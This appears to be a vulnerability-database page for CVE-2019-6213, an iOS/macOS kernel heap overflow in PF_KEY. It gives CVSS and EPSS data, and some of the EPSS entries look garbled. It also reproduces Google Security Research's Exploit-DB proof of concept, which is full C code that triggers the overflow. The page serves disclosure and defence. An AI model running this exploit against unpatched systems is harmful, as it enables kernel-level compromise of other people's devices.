CVE-2019-6213

Score / Severity

7.8

High

CVE Descriptions

A buffer overflow was addressed with improved bounds checking. This issue is fixed in iOS 12.1.3, macOS Mojave 10.14.3, tvOS 12.1.2, watchOS 5.1.3. An application may be able to execute arbitrary code with kernel privileges.

CVE Informations

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE-119	Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V3.0	7.8	HIGH	CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H More informations Base: Exploitabilty Metrics The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. Local A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file. Attack Complexity This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability. Low Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. None The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack. User Interaction This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component. Required Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator. Base: Scope Metrics An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges. Scope Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports. Unchanged An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same. Base: Impact Metrics The Impact metrics refer to the properties of the impacted component. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. High There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. High There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. High There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal Metrics The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability. Environmental Metrics	nvd@nist.gov
V2	9.3		AV:N/AC:M/Au:N/C:C/I:C/A:C	nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2021-04-18	1.68%	–	–	–	–
2021-09-05	–	1.68%	–	–	–
2021-11-07	–	1.68%	–	–	–
2022-01-09	–	1.68%	–	–	–
2022-02-06	–	–	3.25%	–	–
2022-02-13	–	–	3.25%	–	–
2022-04-03	–	–	3.31%	–	–
2022-08-28	–	–	3.31%	–	–
2023-02-19	–	–	2.89%	–	–
2023-03-12	–	–	–	0.55%	–
2023-07-16	–	–	–	0.55%	–
2024-01-28	–	–	–	0.54%	–
2024-02-11	–	–	–	0.54%	–
2024-03-03	–	–	–	0.65%	–
2024-06-02	–	–	–	0.65%	–
2024-07-14	–	–	–	0.65%	–
2024-07-21	–	–	–	0.65%	–
2024-08-04	–	–	–	0.65%	–
2024-08-11	–	–	–	0.65%	–
2024-12-22	–	–	–	0.98%	–
2025-02-09	–	–	–	0.98%	–
2025-01-19	–	–	–	0.98%	–
2025-02-16	–	–	–	0.98%	–
2025-03-18	–	–	–	–	6.56%
2025-03-18	–	–	–	–	6.56,%

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Date	Percentile
2021-04-18	–
2021-09-05	74%
2021-11-07	75%
2022-01-09	34%
2022-02-06	65%
2022-02-13	66%
2022-04-03	83%
2022-08-28	84%
2023-02-19	83%
2023-03-12	74%
2023-07-16	75%
2024-01-28	75%
2024-02-11	77%
2024-03-03	79%
2024-06-02	79%
2024-07-14	79%
2024-07-21	8%
2024-08-04	79%
2024-08-11	8%
2024-12-22	83%
2025-02-09	84%
2025-01-19	83%
2025-02-16	84%
2025-03-18	9%
2025-03-18	9%

Exploit information

Exploit Database EDB-ID : 46300

Publication date : 2019-01-30 23h00 +00:00
Author : Google Security Research
EDB Verified : Yes

/* Inspired by Ned Williamsons's fuzzer I took a look at the netkey code. key_getsastat handles SADB_GETSASTAT messages: It allocates a buffer based on the number of SAs there currently are: bufsize = (ipsec_sav_count + 1) * sizeof(*sa_stats_sav); KMALLOC_WAIT(sa_stats_sav, __typeof__(sa_stats_sav), bufsize); It the retrieves the list of SPIs we are querying for, and the length of that list: sa_stats_arg = (__typeof__(sa_stats_arg))(void *)mhp->ext[SADB_EXT_SASTAT]; arg_count = sa_stats_arg->sadb_sastat_list_len; // exit early if there are no requested SAs if (arg_count == 0) { printf("%s: No SAs requested.\n", __FUNCTION__); error = ENOENT; goto end; } res_count = 0; It passes those, and the allocated buffer, to key_getsastatbyspi: if (key_getsastatbyspi((struct sastat *)(sa_stats_arg + 1), arg_count, sa_stats_sav, &res_count)) { The is immediately suspicious because we're passing the sa_stats_sav buffer in, but not its length... Looking at key_getsastatbyspi: static int key_getsastatbyspi (struct sastat *stat_arg, u_int32_t max_stat_arg, struct sastat *stat_res, u_int32_t *max_stat_res) { int cur, found = 0; if (stat_arg == NULL || stat_res == NULL || max_stat_res == NULL) { return -1; } for (cur = 0; cur < max_stat_arg; cur++) { if (key_getsastatbyspi_one(stat_arg[cur].spi, &stat_res[found]) == 0) { found++; } } *max_stat_res = found; if (found) { return 0; } return -1; } Indeed, each time a spi match is found we increment found and can go past the end of the stat_res buffer. Triggering this requires you to load a valid SA with a known SPI (here 0x41414141) then send a SADB_GETSASTAT containing multiple requests for that same, valid SPI. Tested on MacOS 10.14.2 (18C54) */ // @i41nbeer #if 0 iOS/MacOS kernel heap overflow in PF_KEY due to lack of bounds checking when retrieving statistics Inspired by Ned Williamsons's fuzzer I took a look at the netkey code. key_getsastat handles SADB_GETSASTAT messages: It allocates a buffer based on the number of SAs there currently are: bufsize = (ipsec_sav_count + 1) * sizeof(*sa_stats_sav); KMALLOC_WAIT(sa_stats_sav, __typeof__(sa_stats_sav), bufsize); It the retrieves the list of SPIs we are querying for, and the length of that list: sa_stats_arg = (__typeof__(sa_stats_arg))(void *)mhp->ext[SADB_EXT_SASTAT]; arg_count = sa_stats_arg->sadb_sastat_list_len; // exit early if there are no requested SAs if (arg_count == 0) { printf("%s: No SAs requested.\n", __FUNCTION__); error = ENOENT; goto end; } res_count = 0; It passes those, and the allocated buffer, to key_getsastatbyspi: if (key_getsastatbyspi((struct sastat *)(sa_stats_arg + 1), arg_count, sa_stats_sav, &res_count)) { The is immediately suspicious because we're passing the sa_stats_sav buffer in, but not its length... Looking at key_getsastatbyspi: static int key_getsastatbyspi (struct sastat *stat_arg, u_int32_t max_stat_arg, struct sastat *stat_res, u_int32_t *max_stat_res) { int cur, found = 0; if (stat_arg == NULL || stat_res == NULL || max_stat_res == NULL) { return -1; } for (cur = 0; cur < max_stat_arg; cur++) { if (key_getsastatbyspi_one(stat_arg[cur].spi, &stat_res[found]) == 0) { found++; } } *max_stat_res = found; if (found) { return 0; } return -1; } Indeed, each time a spi match is found we increment found and can go past the end of the stat_res buffer. Triggering this requires you to load a valid SA with a known SPI (here 0x41414141) then send a SADB_GETSASTAT containing multiple requests for that same, valid SPI. Tested on MacOS 10.14.2 (18C54) #endif #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <arpa/inet.h> #include <net/pfkeyv2.h> #if 0 struct sadb_msg { u_int8_t sadb_msg_version; u_int8_t sadb_msg_type; u_int8_t sadb_msg_errno; u_int8_t sadb_msg_satype; u_int16_t sadb_msg_len; // in 8-byte units u_int16_t sadb_msg_reserved; u_int32_t sadb_msg_seq; u_int32_t sadb_msg_pid; }; // extenstion header struct sadb_ext { u_int16_t sadb_ext_len; // 8-byte units u_int16_t sadb_ext_type; }; // SADB_EXT_SA struct sadb_sa { u_int16_t sadb_sa_len; u_int16_t sadb_sa_exttype; u_int32_t sadb_sa_spi; u_int8_t sadb_sa_replay; u_int8_t sadb_sa_state; u_int8_t sadb_sa_auth; u_int8_t sadb_sa_encrypt; u_int32_t sadb_sa_flags; }; // SADB_EXT_ADDRESS_SRC/DST // is this variable sized? struct sadb_address { u_int16_t sadb_address_len; u_int16_t sadb_address_exttype; u_int8_t sadb_address_proto; u_int8_t sadb_address_prefixlen; u_int16_t sadb_address_reserved; }; // SADB_EXT_KEY_AUTH header struct sadb_key { u_int16_t sadb_key_len; u_int16_t sadb_key_exttype; u_int16_t sadb_key_bits; // >> 3 -> bzero u_int16_t sadb_key_reserved; }; // SADB_EXT_SASTAT struct sadb_sastat { u_int16_t sadb_sastat_len; u_int16_t sadb_sastat_exttype; u_int32_t sadb_sastat_dir; u_int32_t sadb_sastat_reserved; u_int32_t sadb_sastat_list_len; /* list of struct sastat comes after */ } __attribute__ ((aligned(8))); struct sastat { u_int32_t spi; /* SPI Value, network byte order */ u_int32_t created; /* for lifetime */ struct sadb_lifetime lft_c; /* CURRENT lifetime. */ }; // no need to align #endif struct my_msg { struct sadb_msg hdr; // required options struct sadb_sa sa; // SADB_EXT_SA struct sadb_address address_src; // SADB_EXT_ADDRESS_SRC struct sockaddr_in sockaddr_src; // 0x10 bytes struct sadb_address address_dst; // SADB_EXT_ADDRESS_DST struct sockaddr_in sockaddr_dst; // 0x10 bytes struct sadb_key key; char key_material[128/8]; }; #define N_LIST_ENTRIES 32 struct stat_msg { struct sadb_msg hdr; struct sadb_session_id sid; struct sadb_sastat stat; struct sastat list[N_LIST_ENTRIES]; }; int main() { // get a PF_KEY socket: int fd = socket(PF_KEY, SOCK_RAW, PF_KEY_V2); if (fd == -1) { perror("failed to get PF_KEY socket, got privs?"); return 0; } printf("got PF_KEY socket: %d\n", fd); struct my_msg* msg = malloc(sizeof(struct my_msg)); memset(msg, 0, sizeof(struct my_msg)); msg->hdr.sadb_msg_version = PF_KEY_V2; msg->hdr.sadb_msg_type = SADB_ADD; msg->hdr.sadb_msg_satype = SADB_SATYPE_AH; msg->hdr.sadb_msg_len = sizeof(struct my_msg) >> 3; msg->hdr.sadb_msg_pid = getpid(); // SADB_EXT_SA msg->sa.sadb_sa_len = sizeof(msg->sa) >> 3; msg->sa.sadb_sa_exttype = SADB_EXT_SA; // we need to fill in the fields correctly as we need at least one valid key msg->sa.sadb_sa_spi = 0x41414141; msg->sa.sadb_sa_auth = SADB_AALG_MD5HMAC; // sav->alg_auth, which alg // -> 128 bit key size // SADB_EXT_ADDRESS_SRC msg->address_src.sadb_address_len = (sizeof(msg->address_src) + sizeof(msg->sockaddr_src)) >> 3; msg->address_src.sadb_address_exttype = SADB_EXT_ADDRESS_SRC; msg->sockaddr_src.sin_len = 0x10; msg->sockaddr_src.sin_family = AF_INET; msg->sockaddr_src.sin_port = 4141; inet_pton(AF_INET, "10.10.10.10", &msg->sockaddr_src.sin_addr); // SADB_EXT_ADDRESS_DST msg->address_dst.sadb_address_len = (sizeof(msg->address_dst) + sizeof(msg->sockaddr_dst)) >> 3; msg->address_dst.sadb_address_exttype = SADB_EXT_ADDRESS_DST; msg->sockaddr_dst.sin_len = 0x10; msg->sockaddr_dst.sin_family = AF_INET; msg->sockaddr_dst.sin_port = 4242; inet_pton(AF_INET, "10.10.10.10", &msg->sockaddr_dst.sin_addr); msg->key.sadb_key_exttype = SADB_EXT_KEY_AUTH; msg->key.sadb_key_len = (sizeof(struct sadb_key) + sizeof(msg->key_material)) >> 3; msg->key.sadb_key_bits = 128; size_t amount_to_send = msg->hdr.sadb_msg_len << 3; printf("trying to write %zd bytes\n", amount_to_send); ssize_t written = write(fd, msg, amount_to_send); printf("written: %zd\n", written); struct stat_msg * smsg = malloc(sizeof(struct stat_msg)); memset(smsg, 0, sizeof(struct stat_msg)); smsg->hdr.sadb_msg_version = PF_KEY_V2; smsg->hdr.sadb_msg_type = SADB_GETSASTAT; smsg->hdr.sadb_msg_satype = SADB_SATYPE_AH; smsg->hdr.sadb_msg_len = sizeof(struct stat_msg) >> 3; smsg->hdr.sadb_msg_pid = getpid(); // SADB_EXT_SESSION_ID smsg->sid.sadb_session_id_len = sizeof(struct sadb_session_id) >> 3; smsg->sid.sadb_session_id_exttype = SADB_EXT_SESSION_ID; // SADB_EXT_SASTAT smsg->stat.sadb_sastat_len = (sizeof(struct sadb_sastat) + sizeof(smsg->list)) >> 3; smsg->stat.sadb_sastat_exttype = SADB_EXT_SASTAT; smsg->stat.sadb_sastat_list_len = N_LIST_ENTRIES; for (int i = 0; i < N_LIST_ENTRIES; i++) { smsg->list[i].spi = 0x41414141; } amount_to_send = smsg->hdr.sadb_msg_len << 3; printf("trying to write %zd bytes\n", amount_to_send); written = write(fd, smsg, amount_to_send); printf("written: %zd\n", written); return 0; }